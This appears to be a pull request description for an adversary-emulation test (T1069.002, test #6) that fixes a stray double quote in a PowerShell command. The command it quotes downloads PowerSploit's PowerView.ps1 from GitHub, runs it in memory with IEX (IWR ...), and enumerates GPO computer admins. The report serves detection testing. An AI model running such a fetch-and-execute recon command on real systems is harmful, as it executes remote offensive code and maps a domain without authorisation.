T1069.002 test #6 - fix typo in command

[kdebscwx]

Details:
When I ran this test on my local lab, I got an error that complained about the extra double quotes at the end:

+ ... ing); Find-GPOComputerAdmin -ComputerName $env:COMPUTERNAME -Verbose"
+                                                                         ~
The string is missing the terminator: ".
    + CategoryInfo          : ParserError: (:) [], ParseException
    + FullyQualifiedErrorId : TerminatorExpectedAtEndOfString

I also tried to run the command on a powershell window manually and it does not run. It expects me to complete the double quote:

PS C:\Users\john.doe> IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName $env:COMPUTERNAME -Verbose"
>>

---

**Testing:**
After removing the extra double quotes at the end, I ran the test manually on my local environment and it ran fine.

**Associated Issues:**
None that I am aware of.
